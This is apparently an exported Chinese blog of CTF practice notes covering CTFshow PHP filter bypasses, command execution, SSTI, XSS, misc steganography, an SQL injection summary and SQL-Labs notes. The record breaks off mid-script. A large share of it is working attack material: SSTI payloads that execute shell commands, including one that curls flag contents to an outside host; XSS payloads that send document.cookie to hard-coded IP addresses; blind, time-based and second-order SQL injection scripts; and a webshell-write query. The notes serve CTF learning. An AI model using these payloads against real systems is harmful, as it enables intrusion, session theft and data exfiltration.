ereg函数存在NULL截断漏洞，导致了正则过滤被绕过,所以可以使用%00截断正则匹配 异常处理类\nException ReflectionClass getchwd() 函数返回当前工作目录。 FilesystemIterator(getcwd) 伪协议\n//支持伪协议 php://filter/resource=flag.php php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php php://filter/read=convert.quoted-printable-encode/resource=flag.php ****compress.zlib://flag.php //传入一个伪协议时 is_file返回false 不影响file_get_content highlight_file php://filter/read=string.rot13/resource=flag.php 未解\n/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php //目录溢出 在num加空格绕过is_numeric() %20 %09 %0c trim — 去除字符串首尾处的空白字符（或者其他字符） \u0026#34; \u0026#34; (ASCII 32 (0x20))，普通空格符。 \u0026#34;\\t\u0026#34; (ASCII 9 (0x09))，制表符。 \u0026#34;\\n\u0026#34; (ASCII 10 (0x0A))，换行符。 \u0026#34;\\r\u0026#34; (ASCII 13 (0x0D))，回车符。 \u0026#34;\\0\u0026#34; (ASCII 0 (0x00))，空字节符。 \u0026#34;\\x0B\u0026#34; (ASCII 11 (0x0B))，垂直制表符。 2 1 2 3 4 5 6 if(preg_match(\u0026#34;/[0-9]/\u0026#34;, $num)){ die(\u0026#34;no no no!\u0026#34;); } if(intval($num)){ echo $flag; } preg_match不匹配数组，传入num[]=1\n在线进制转换 (oschina.net)\n1 2 3 4 5 6 7 8 if($num===\u0026#34;4476\u0026#34;){ die(\u0026#34;no no no!\u0026#34;); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } 进制绕过 16进制，8进制，空格加八进制 小数点 科学计数法\nphp7以后传参的十六进制会解析为字符串 这里intval会强制转换\n3 (26条消息) PHP正则表达式 /i, /s, /x,/u, /U, /A, /D, /S等模式修饰符_cjsyr_cjsyr的专栏-CSDN博客_php 正则u\n1 2 3 4 5 6 7 8 if(preg_match(\u0026#39;/^php$/im\u0026#39;, $a)){ if(preg_match(\u0026#39;/^php$/i\u0026#39;, $a)){ echo \u0026#39;hacker\u0026#39;; } else{ echo $flag; } } /im 匹配多行 /i 匹配单行 传入a%0aphp %0a -\u0026gt; \\n\n4 md5查看博客MD5 – Staryのblog\nsha1比较\nGET V2[]=1 POST V1[]=2 sha1(Array[])=NULL aaK1STfY 0e76658526655756207688271159624026011393 aaO8zKZF 0e89257456677279068558073954252716165668 5 1 2 3 4 5 include(\u0026#34;flag.php\u0026#34;); $_GET?$_GET=\u0026amp;$_POST:\u0026#39;flag\u0026#39;; $_GET[\u0026#39;flag\u0026#39;]==\u0026#39;flag\u0026#39;?$_GET=\u0026amp;$_COOKIE:\u0026#39;flag\u0026#39;; $_GET[\u0026#39;flag\u0026#39;]==\u0026#39;flag\u0026#39;?$_GET=\u0026amp;$_SERVER:\u0026#39;flag\u0026#39;; highlight_file($_GET[\u0026#39;HTTP_FLAG\u0026#39;]==\u0026#39;flag\u0026#39;?$flag:__FILE__); 没关报错，用报错把flag爆出来\n6 1 2 3 4 5 6 for ($i=36; $i \u0026lt; 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET[\u0026#39;n\u0026#39;]) \u0026amp;\u0026amp; in_array($_GET[\u0026#39;n\u0026#39;], $allow)){ file_put_contents($_GET[\u0026#39;n\u0026#39;], $_POST[\u0026#39;content\u0026#39;]); } in_array弱比较？？\n14.php也可以。。。\n7 PHP运算符优先级一览表 (biancheng.net)\n先赋值再and\n1 2 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); $v0=is_numeric($v1); 8 反射类ReflectionClass 类报告了一个类的有关信息。\n1 echo new Reflectionclass 9 hex2bin(5044383959474e6864434171594473)=PD89YGNhdCAqYDs base64-decode(PD89YGNhdCAqYDs)=\u0026#39;\u0026lt;?=`cat *`;\u0026#39; ctfshow命令执行 搜索引擎http://helosec.com/ 正则解释https://regexper.com/\nweb31 1 2 3 4 5 6 7 8 9 10 11 \u0026lt;?php error_reporting(0); if(isset($_GET[\u0026#39;c\u0026#39;])){ $c = $_GET[\u0026#39;c\u0026#39;]; if(!preg_match(\u0026#34;/flag|system|php|cat|sort|shell|\\.| |\\\u0026#39;/i\u0026#34;, $c)){ eval($c); } }else{ highlight_file(__FILE__); } 过滤 flag system php cat sort shell . 空格 ’\npayload:?c=eval($_GET[1]);\u0026amp;1=system(“cat flag.php”);\n官方wp show_source(next(array_reverse(scandir(pos(localeconv()))))); array_reverse：以相反的元素顺序返回数组 scandir： 列出指定路径中的文件和目录 pos？？？ localeconv() 函数返回一包含本地数字及货币格式信息的数组。？？？？？\nweb32 1 2 3 4 5 6 7 8 9 10 11 \u0026lt;?php error_reporting(0); if(isset($_GET[\u0026#39;c\u0026#39;])){ $c = $_GET[\u0026#39;c\u0026#39;]; if(!preg_match(\u0026#34;/flag|system|php|cat|sort|shell|\\.| |\\\u0026#39;|\\`|echo|\\;|\\(/i\u0026#34;, $c)){ eval($c); } }else{ highlight_file(__FILE__); } payload: ?c=include$_GET[1]?\u0026gt;\u0026amp;1=php://filter/read=convert.base64-encode/resource=flag.php include：利用文件包含 php伪协议：php://filter/read=convert.base64-encode/resource=flag.php 用base64编码读取文件 base64在线解码：https://base64.us/\n官方wp：c=$nice=include$_GET[“url”]?\u0026gt;\u0026amp;url=php://filter/read=convert.base64 encode/resource=flag.php ?\u0026gt;代替分号\nweb33 1 2 3 4 5 6 7 8 9 10 11 \u0026lt;?php error_reporting(0); if(isset($_GET[\u0026#39;c\u0026#39;])){ $c = $_GET[\u0026#39;c\u0026#39;]; if(!preg_match(\u0026#34;/flag|system|php|cat|sort|shell|\\.| |\\\u0026#39;|\\`|echo|\\;|\\(|\\\u0026#34;/i\u0026#34;, $c)){ eval($c); } }else{ highlight_file(__FILE__); } 过滤 “flag” “system” “php” “cat” “sort” “shell” “.” “ ” “’” “`” “echo” “;” “(” “”” payload: ?c=include$_GET[1]?\u0026gt;\u0026amp;1=php://filter/read=convert.base64-encode/resource=flag.php include：利用文件包含 php伪协议：php://filter/read=convert.base64-encode/resource=flag.php 用base64编码读取文件 base64在线解码：https://base64.us/\n官方wp：c=?\u0026gt;\u0026amp;1=php://filter/read=convert.base64- encode/resource=flag.php ?\u0026gt;\u0026lt;?干啥用？？？？？\nweb34 1 2 3 4 5 6 7 8 9 10 11 \u0026lt;?php error_reporting(0); if(isset($_GET[\u0026#39;c\u0026#39;])){ $c = $_GET[\u0026#39;c\u0026#39;]; if(!preg_match(\u0026#34;/flag|system|php|cat|sort|shell|\\.| |\\\u0026#39;|\\`|echo|\\;|\\(|\\:|\\\u0026#34;/i\u0026#34;, $c)){ eval($c); } }else{ highlight_file(__FILE__); } payload: ?c=include$_GET[1]?\u0026gt;\u0026amp;1=php://filter/read=convert.base64-encode/resource=flag.php 官方wp：c=include$_GET[1]?\u0026gt;\u0026amp;1=php://filter/read=convert.base64-encode/resource=flag.php\nweb35 。。。。。一模一样\nweb36 过滤数字把上面的1换成a\nweb 37 1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;?php //flag in flag.php error_reporting(0); if(isset($_GET[\u0026#39;c\u0026#39;])){ $c = $_GET[\u0026#39;c\u0026#39;]; if(!preg_match(\u0026#34;/flag/i\u0026#34;, $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); } data伪协议 payload:?c=data://text/plain, POST A=cat flag.php 官方wp：data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==\nweb38 过滤php 把 POST A=cat flag.php\nweb39 如上 hint：data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了，所以后面的.php会被当成html页面直接显示在页面上，起不到什么 作用\nweb40 1 2 3 4 5 6 7 8 9 \u0026lt;?php if(isset($_GET[\u0026#39;c\u0026#39;])){ $c = $_GET[\u0026#39;c\u0026#39;]; if(!preg_match(\u0026#34;/[0-9]|\\~|\\`|\\@|\\#|\\\\$|\\%|\\^|\\\u0026amp;|\\*|\\（|\\）|\\-|\\=|\\+|\\{|\\[|\\]|\\}|\\:|\\\u0026#39;|\\\u0026#34;|\\,|\\\u0026lt;|\\.|\\\u0026gt;|\\/|\\?|\\\\\\\\/i\u0026#34;, $c)){ eval($c); } }else{ highlight_file(__FILE__); } 过滤的中文括号 读取当前文件夹文件：?c=print_r(scandir(pos(localeconv()))); payload：?c=show_source(next(array_reverse(scandir(pos(localeconv())))));\nlocaleconv()：返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.) pos()：返回数组中当前元素的值 scandir()：获取目录下的文件 array_reverse()：将数组逆序排列 next()：函数将内部指针指向下一元素，并输出\n官方wp： show_source(next(array_reverse(scandir(pos(localeconv()))))); GXYCTF的禁止套娃 通过cookie获得参数进行命令执行 c=session_start();system(session_id()); passid=ls\nweb41 不会来个大佬教我！！！\nweb42 payload：c=ls;%0a也行||也行 ;执行多个命令\nweb43 ; cat 过滤 用%0a 和 tac 等等\nweb44 ; cat flag过滤 用%0a 和 tac fla?.php fla*.php fl\\ag.php等等\nweb45 过滤空格 echo$IFStac$IFS*%0A payload：/?c=tac${IFS}fla?.php%0a system中 ${IFS}代替空格\nweb46 web47 web48 web 49 web50 tac|more|less|curl|nl|tail|sort|strings读取 过滤了$ %09代替 /?c=tac%09fla?.php%0a（web50过滤%09） nl\u0026lt;fla’’g.php||（查看源码）\nweb51 过滤$,nl 用nl${IFS}fla’’g.php||\nctfshow ssti 361 猜测参数是name\npayload: {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == \u0026#39;catch_warnings\u0026#39; %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if \u0026#39;eval\u0026#39; in b.keys() %} {{ b[\u0026#39;eval\u0026#39;](\u0026#39;__import__(\u0026#34;os\u0026#34;).popen(\u0026#34;id\u0026#34;).read()\u0026#39;) }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} {{x.__init__.__globals__[\u0026#39;__builtins__\u0026#39;].eval(\u0026#39;__import__(\u0026#34;os\u0026#34;).popen(\u0026#34;ls\u0026#34;).read()\u0026#39;)}} 执行任意命令\n362 上面一个可以过\n363 1 {{request[\u0026#34;__cl\u0026#34;+\u0026#34;a\u0026#34;+\u0026#34;ss__\u0026#34;].mro()[-1][\u0026#39;__subcla\u0026#39;+\u0026#39;sses__\u0026#39;]()[182].__init__[\u0026#39;__glob\u0026#39;+\u0026#39;als__\u0026#39;][\u0026#39;__builtins__\u0026#39;][\u0026#39;__imp\u0026#39;+\u0026#39;ort__\u0026#39;](\u0026#39;os\u0026#39;).__dict__[\u0026#39;pop\u0026#39;+\u0026#39;en\u0026#39;](\u0026#39;ls\u0026#39;).read()}} 363 过滤引号\n?name={{[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.arg1](request.args.arg2).read()}}\u0026amp;arg1=popen\u0026amp;arg2=cat /flag 364 过滤args\n?name={{[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.cookies.x1](request.cookies.x2).read()}} cookies:x1=popen;x2=cat /flag 365 过滤方括号\n?name={{().__class__.__base__.__subclasses__().pop(132).__init__.__globals__.popen(request.cookies.arg2).read()}} cookie:arg2=cat /flag 366–367 ?name={{(x|attr(request.cookies.w1)|attr(request.cookies.w2)|attr(request.cookies.w3))(request.cookies.w4).eval(request.cookies.w5)}} Cookie:w1=__init__;w2=__globals__;w3=__getitem__;w4=__builtins__;w5=__import__(\u0026#39;os\u0026#39;).popen(\u0026#39;cat /flag\u0026#39;).read() {{x.__init__.__globals__[\u0026#39;__builtins__\u0026#39;].eval(\u0026#39;__import__(\u0026#34;os\u0026#34;).popen(\u0026#34;ls\u0026#34;).read()\u0026#39;)}} 368 ?name={%print((x|attr(request.cookies.w1)|attr(request.cookies.w2)|attr(request.cookies.w3))(request.cookies.w4).eval(request.cookies.w5))%} Cookie:w1=__init__;w2=__globals__;w3=__getitem__;w4=__builtins__;w5=__import__(\u0026#39;os\u0026#39;).popen(\u0026#39;cat /flag\u0026#39;).read() 369 (89条消息) SSTI模板注入绕过（进阶篇）_羽的博客-CSDN博客_ssti绕过\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 {% set a=(()|select|string|list).pop(24)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd= %} {%if x.eval(cmd)%} 123 {%endif%} s=\u0026#39;__import__(\u0026#34;os\u0026#34;).popen(\u0026#34;curl http://xxx:4567?p=`cat /flag`\u0026#34;).read()\u0026#39; def ccchr(s): t=\u0026#39;\u0026#39; for i in range(len(s)): if i\u0026lt;len(s)-1: t+=\u0026#39;chr(\u0026#39;+str(ord(s[i]))+\u0026#39;)%2b\u0026#39; else: t+=\u0026#39;chr(\u0026#39;+str(ord(s[i]))+\u0026#39;)\u0026#39; return t ctfshow xss 基本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 \u0026lt;script\u0026gt; var img=document.createElement(\u0026#34;img\u0026#34;); img.src=\u0026#34;http://47.106.248.56/123.php?1=\u0026#34;+document.cookie; \u0026lt;/script\u0026gt; \u0026lt;script\u0026gt;window.open(\u0026#39;http://ip/php/123.php?1=\u0026#39;+document.cookie)\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt;window.location.href=\u0026#39;http://ip/php/123.php?1=\u0026#39;+document.cookie\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt;location.href=\u0026#39;http://47.106.248.56/123.php?1=\u0026#39;+document.cookie\u0026lt;/script\u0026gt; \u0026lt;input onfocus=\u0026#34;window.open(\u0026#39;http://47.106.248.56/123.php?1=\u0026#39;+document.cookie)\u0026#34; autofocus\u0026gt; \u0026lt;svg onload=\u0026#34;window.open(\u0026#39;http://118.31.168.198:39543/\u0026#39;+document.cookie)\u0026#34;\u0026gt; \u0026lt;svg onload=\u0026#34;window.open(\u0026#39;http://118.31.168.198:39543/\u0026#39;+document.cookie)\u0026#34;\u0026gt; \u0026lt;iframe onload=\u0026#34;window.open(\u0026#39;http://118.31.168.198:39543/\u0026#39;+document.cookie)\u0026#34;\u0026gt;\u0026lt;/iframe\u0026gt; \u0026lt;body onload=\u0026#34;window.open(\u0026#39;http://47.106.248.56/123.php?\u0026#39;+document.cookie)\u0026#34;\u0026gt; 320 1 \u0026lt;body/onload=\u0026#34;window.open(\u0026#39;http://47.106.248.56/123.php?1=\u0026#39;+document.cookie)\u0026#34;\u0026gt; 321 1 \u0026lt;iframe/onload=\u0026#34;window.open(\u0026#39;http://47.106.248.56/123.php?1=\u0026#39;+document.cookie)\u0026#34;\u0026gt;\u0026lt;/iframe\u0026gt; 322 1 \u0026lt;body/onload=\u0026#34;window.open(\u0026#39;http://47.106.248.56/123.php?1=\u0026#39;+document.cookie)\u0026#34;\u0026gt; 329 \u0026lt;script\u0026gt;window.open(\u0026#39;http://ip/php/123.php?1=\u0026#39;+document.getElementsByTagName(\u0026#39;html\u0026#39;)[0].innerHTML\u0026lt;/script\u0026gt; 330 var img = new Image(); img.src = \u0026#34;http://ip/php/123.php?1=\u0026#34;+document.querySelector(\u0026#39;#top \u0026gt; div.layui-container\u0026#39;).tex tContent; document.body.append(img); \u0026lt;script src=\u0026#34;http://ip/php/xss.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt;window.open(\u0026#39;http://ip/php/123.php?1=\u0026#39;+document.querySelector(\u0026#39;#top \u0026gt; div.layui-container\u0026#39;).textContent)\u0026lt;/script\u0026gt; 331 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 var httpRequest = new XMLHttpRequest();//第一步：创建需要的对象 httpRequest.open(\u0026#39;POST\u0026#39;, \u0026#39;url\u0026#39;, true); //第二步：打开连接 httpRequest.setRequestHeader(\u0026#34;Content-type\u0026#34;,\u0026#34;application/x-www-form-urlencoded\u0026#34;);//设置请求头 注：post方式必须设置请求头（在建立连接后设置请求头） httpRequest.send(\u0026#39;name=teswe\u0026amp;ee=ef\u0026#39;);//发送请求 将情头体写在send中 /** * 获取数据后的处理程序 */ httpRequest.onreadystatechange = function () {//请求后的回调接口，可将请求成功后要执行的程序写在其中 if (httpRequest.readyState == 4 \u0026amp;\u0026amp; httpRequest.status == 200) {//验证请求是否发送成功 var json = httpRequest.responseText;//获取到服务端返回的数据 console.log(json); } }; \u0026lt;script\u0026gt;var httpRequest = new XMLHttpRequest();httpRequest.open(\u0026#39;POST\u0026#39;, \u0026#39;http://127.0.0.1/api/amount.php\u0026#39;, true);httpRequest.setRequestHeader(\u0026#34;Content-type\u0026#34;,\u0026#34;application/x-www-form-urlencoded\u0026#34;);httpRequest.send(\u0026#39;u=123\u0026amp;a=100000\u0026#39;);\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt;window.open(\u0026#39;http://ip/php/123.php?1=\u0026#39;+document.querySelector(\u0026#39;#top \u0026gt; div.layui-container\u0026#39;).textContent)\u0026lt;/script\u0026gt; 332 \u0026lt;script src=http:********111.js\u0026gt;\u0026lt;/script\u0026gt; 1 2 3 4 5 6 7 8 9 10 11 $.ajax({ url: \u0026#34;http://127.0.0.1/api/amount.php\u0026#34;, method: \u0026#34;POST\u0026#34;, data:{ \u0026#39;u\u0026#39;:\u0026#39;123\u0026#39;, \u0026#39;a\u0026#39;:10000 }, cache: false, success: function(res){ }}); XMLHttpRequest—必知必会 - 简书 (jianshu.com)\nxss其他标签下的js用法总结大全 - Hookjoy - 博客园 (cnblogs.com)\nCtfshow Misc 作者 STARY\n所用工具 binwalk foremost exiftool bpgviewer tweakpng zsteg\n1 直接给了\n2 打开txt文件一堆乱码\n搜索flag未果\n改文件格式为.jpg得到flag\n010查看文件头png。。。没差\n3 用bpgviewer打开\n4 改后缀拼起来就是\n5 010打开在最后几行\n6 010打开找的到\n7 010搜素ctfshow\n8 binwalk和foremost分离得到图片flag\nCTF中图片隐藏文件分离方法总结 – 夹心果果 – 博客园 (cnblogs.com)\n9 010搜索\n10 binwalk分解得到文件\n打开就是\n11 tweakpng删除第一个IDAT块得到新图片\nIDAT？\n12 删IDAT块。。有什么讲究吗\n13 这地方像flag\n每两中间有个多余的\npython删掉发现flag不对\n看了wp发现16进制的不一样。。。。。wtm？？\n14 binwalk查看\n手动分离jpg\n分离方法总结 – 夹心果果 – 博客园 (cnblogs.com)\n15 010打开\n16 binwalk分离，flag在DD4这个文件里，具体原理还不清楚\n17 看wp 需要先用zsteg提取数据，然后再用binwalk分离，最后得到一张png即为flag\nzsteg 17.png\nzsteg -E ‘extradata:0’ misc17.png \u0026gt; 17.tmp\nbinwalk 17.png -e\n(27条消息) 隐写工具zsteg安装和使用方法_丶没胡子的猫-CSDN博客_zsteg安装\n18 拼接一下\n用exiftool工具读\n19 用exiftool工具读\n20 exif\n西替爱抚秀大括号西九七九六四必一诶易西爱抚零六易一弟七九西二一弟弟诶弟五九三易四二大括号\n","date":"2021-08-10T00:00:00Z","permalink":"/2021/08/10/ctfshow/","title":"CTFshow 刷题记录"},{"content":"SQL 注入小结 闭合方式 ‘ “ ) ‘) “) )) ‘)) “)) 等等\n基本思路，找到注入点-\u0026gt;判断注入类型-\u0026gt;注入\n基本语句 1\u0026#39; or 1=1 %23 //字符型注入 1\u0026#39; or 1=1 union select 1,2,3,4%23 //报错字段为3 -1\u0026#39; union select 1,2,group_concat(schema_name) from information_schema.schemata%23 //爆全部库库名 -1\u0026#39; union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = \u0026#39;ctftraining\u0026#39;%23 //查库 -1\u0026#39; union select 1,2,group_concat(column_name) from information_schema.columns where table_name = \u0026#39;flag\u0026#39;%23 //查水表 -1\u0026#39; union select 1,2,flag from ctftraining.flag%23 //跨库查询 // %23为 # 的url编码 报错注入 1\u0026#39; or updatexml(1,concat(0x26,database(),0x26),1)# 1\u0026#39; or updatexml(1,concat(0x26,(select right(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# 1\u0026#39; or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# 左右拼接一下就是库名 ····中间差不多不多赘述了 1\u0026#39; or updatexml(1,concat(0x26,(select left(flag,30) from ctftraining.flag),0x26),1)# 1\u0026#39; or updatexml(1,concat(0x26,(select right(flag,30) from ctftraining.flag),0x26),1)# 左右拼接一下就是flag 另一个函数 注：该函数一次只能查询32位长度 extractvalue(1,concat(0x26,(SQL语句),0x26)); 盲注 脚本灵活应用\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requests url = \u0026#34;http://192.168.43.164/Less-62/index.php\u0026#34; result=\u0026#34;\u0026#34; for i in range(1,1290): head=32 tail=127 while head\u0026lt;tail: mid=(head+tail)\u0026gt;\u0026gt;1 # payload=\u0026#34;?id=1\u0026#39;)and if(ascii(substr((seleCt(group_concat(schema_name))from(information_schema.schemata)),{},1))\u0026gt;{},1,0)%23\u0026#34;.format(i,mid) payload=\u0026#34;?id=1\u0026#39;)and if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=\u0026#39;challenges\u0026#39;),{},1))\u0026gt;{},1,0)%23\u0026#34;.format(i,mid) # payload=\u0026#34;?id=1\u0026#39;)and if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)=\u0026#39;S3BCU54QBK\u0026#39;),{},1))\u0026gt;{},1,0)%23\u0026#34;.format(i,mid) # payload=\u0026#34;?id=1 and if(ascii(substr((seLect(secret_ATH5)from(challenges.S3BCU54QBK)),{},1))\u0026gt;{},1,0)%23\u0026#34;.format(i,mid) # print(url+payload) r=requests.get(url+payload) if \u0026#34;Your Login name : Angelina\u0026#34; in r.text: head=mid+1 else: tail=mid if head !=32: result+=chr(head) else: break print(result) 时间盲注 在盲注脚本上做点改动\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import requests url = \u0026#34;http://583bbd02-c708-41eb-86ab-f792729f9843.node4.buuoj.cn/Less-53/?sort=1\u0026#39; and \u0026#34; result=\u0026#34;\u0026#34; for i in range(1,1290): head=32 tail=127 while head\u0026lt;tail: mid=(head+tail)\u0026gt;\u0026gt;1 payload=\u0026#34;if(ascii(substr(database(),{},1))\u0026gt;{},sleep(0.5),0) %23\u0026#34;.format(i,mid) # payload=\u0026#34;if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))\u0026gt;{},sleep(1),0) %23\u0026#34;.format(i,mid) # payload=\u0026#34;if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=\u0026#39;ctftraining\u0026#39;),{},1))\u0026gt;{},sleep(1),0) %23\u0026#34;.format(i,mid) # payload=\u0026#34;if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name=\u0026#39;flag\u0026#39;),{},1))\u0026gt;{},sleep(1),0) %23\u0026#34;.format(i,mid) # payload=\u0026#34;if(ascii(substr((select flag4s from ctfshow.flags),{},1))\u0026gt;{},sleep(0.5),0) %23\u0026#34;.format(i,mid) # print(url+payload) # start_time=time.time() print(url+payload) r=requests.get(url+payload) #print(r.text) try: r = requests.get(url+payload,timeout=0.4) tail = mid except: head = mid + 1 if head !=32: result+=chr(head) else: break print(result) post型盲注 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requests import time url = \u0026#34;http://e4cb6dc3-7b2c-4c2a-913c-c7e1a9dae714.node4.buuoj.cn/Less-14/\u0026#34; result=\u0026#34;\u0026#34; for i in range(1,1290): head=32 tail=127 while head\u0026lt;tail: mid=(head+tail)\u0026gt;\u0026gt;1 # data={\u0026#34;uname\u0026#34;: \u0026#34;1\u0026#39;) or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))\u0026gt;{},1,0) #\u0026#34;.format(i,mid),\u0026#34;passwd\u0026#34;: 1} # data={\u0026#34;uname\u0026#34;: \u0026#34;1\u0026#39;) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\u0026#39;ctftraining\u0026#39;),{},1))\u0026gt;{},1,0) #\u0026#34;.format(i,mid),\u0026#34;passwd\u0026#34;: 1} # data={\u0026#34;uname\u0026#34;: \u0026#34;1\u0026#39;) or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name=\u0026#39;flag\u0026#39;),{},1))\u0026gt;{},1,0) #\u0026#34;.format(i,mid),\u0026#34;passwd\u0026#34;: 1} data={\u0026#34;uname\u0026#34;: \u0026#34;1\\\u0026#34; or if(ascii(substr((select flag from ctftraining.flag),{},1))\u0026gt;{},1,0) #\u0026#34;.format(i,mid),\u0026#34;passwd\u0026#34;: 1} r=requests.post(url=url,data=data) # print(r.text) time.sleep(1) if \u0026#34;flag.jpg\u0026#34; in r.text: head=mid+1 else: tail=mid if head !=32: result+=chr(head) else: break print(result) 二次注入 举例 注册处无注入，改密处出现注入 思路 跑脚本注册来实现注入\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import requests session=requests.session() i=0 result=\u0026#34;\u0026#34; for i in range(1,1290): head=32 tail=127 while head\u0026lt;tail: mid=(head+tail)\u0026gt;\u0026gt;1 payload = f\u0026#39;if(ascii(substr((select group_concat(table_name)from(information_schema.tables)where(table_schema=\u0026#34;ctfshow\u0026#34;)),{i},1))\u0026gt;{mid},1,0) #\u0026#39; # payload = f\u0026#39;if(ascii(substr((select group_concat(column_name)from(information_schema.columns)where(table_schema=\u0026#34;ctfshow\u0026#34;)),{i},1))\u0026gt;{mid},sleep(0.7),0)\u0026#39; # payload = \u0026#39;if(ascii(substr((select group_concat(flag4s)from(ctfshow.flags)),{},1))\u0026gt;{},1,0)#\u0026#39;.format(i,mid) password = \u0026#34;admin\u0026#39; and {}\u0026#34;.format(payload) # url1 = \u0026#39;http://58962273-3e5b-4881-8bef-750836065431.challenge.ctf.show:8080/login_create.php\u0026#39; # data1 = { # \u0026#39;username\u0026#39;: username, # \u0026#39;password\u0026#39;: \u0026#39;1\u0026#39;, # \u0026#39;re_password\u0026#39;: \u0026#39;1\u0026#39;, # \u0026#39;submit\u0026#39;: \u0026#39;Register\u0026#39; # } # r1 = session.post(url1, data=data1) url2 = \u0026#39;http://3878e6f6-d552-4c1d-9269-d2845b0877af.challenge.ctf.show:8080/login.php\u0026#39; data2 = { \u0026#39;login_user\u0026#39;: \u0026#39;admin\u0026#39;, \u0026#39;login_password\u0026#39;: password, \u0026#39;mysubmit\u0026#39;: \u0026#39;Login\u0026#39;, } r2 = session.post(url2, data=data2) url3 = \u0026#39;http://3878e6f6-d552-4c1d-9269-d2845b0877af.challenge.ctf.show:8080/logged-in.php\u0026#39; r3 = session.post(url=url3) if \u0026#34;admin\u0026#34; in r3.text: head=mid+1 else: tail=mid if head !=32 and head !=127: result+=chr(head) print(head) else: break print(result) 堆叠注入 1\u0026#39;;show databases;# 1\u0026#39;;show tables;# 1\u0026#39;;show columns from FlagHere;# 1\u0026#39;; HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;# 一个知识点： HANDLER … OPEN语句打开一个表，使其可以使用后续HANDLER … READ语句访问，该表对象未被其他会话共享，并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭\n读取FLAG的内容\n宽字节注入 addslashes()转义 %df\nWAF 大小写绕过 空格绕过括号或///或者 tap %20 双写绕过 http参数污染 like代替= rlike 十六进制代替文字(过滤引号 select被过滤时用desc倒序查看字段也可以堆叠注入，或者预处理 编码绕过 二次编码\n写入webshell @@basedir @@datadir 获取绝对路径 union select 1,2,’‘into outfile ‘路径’\n","date":"2021-07-20T00:00:00Z","permalink":"/2021/07/20/sql-injection/","title":"SQL 注入小结"},{"content":"SQL-Labs 刷题记录 注：本文脚本需要根据自身情况修改 第一关 ?id=1’ or 1=1 %23 //字符型注入 ?id=1’ or 1=1 union select 1,2,3,4%23 //报错字段为3 ?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata%23 //爆全部库 库名 challenges,ctftraining,information_schema,mysql,performance_schema,security,test ?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘ctftraining’%23 //查库 ?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name = ‘flag’%23 //查水表 ?id=-1’ union select 1,2,flag from ctftraining.flag%23 //跨库查询\n第二关 ?id=1’ or 1=1 # 报错’ or 1=1 LIMIT 0,1 考虑数字型注入 ?id=1 or 1=1 //成功为数字型注入 ?id=-1 union select 1,2,flag from ctftraining.flag%23 接下来的步骤和第一关一样\n第三关 ?id=1’)or 1=1 # //接下来应该一样 ?id=-1’) union select 1,2,flag from ctftraining.flag%23\n第四关 ?id=1“)or 1=1 # //接下来应该一样 ?id=-1”) union select 1,2,flag from ctftraining.flag%23\n第五关 报错注入也行 ?id=2’and 1=1 %23 ?id=2’and 1=2 %23无回显\n贴上我的脚本\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requests import time url = 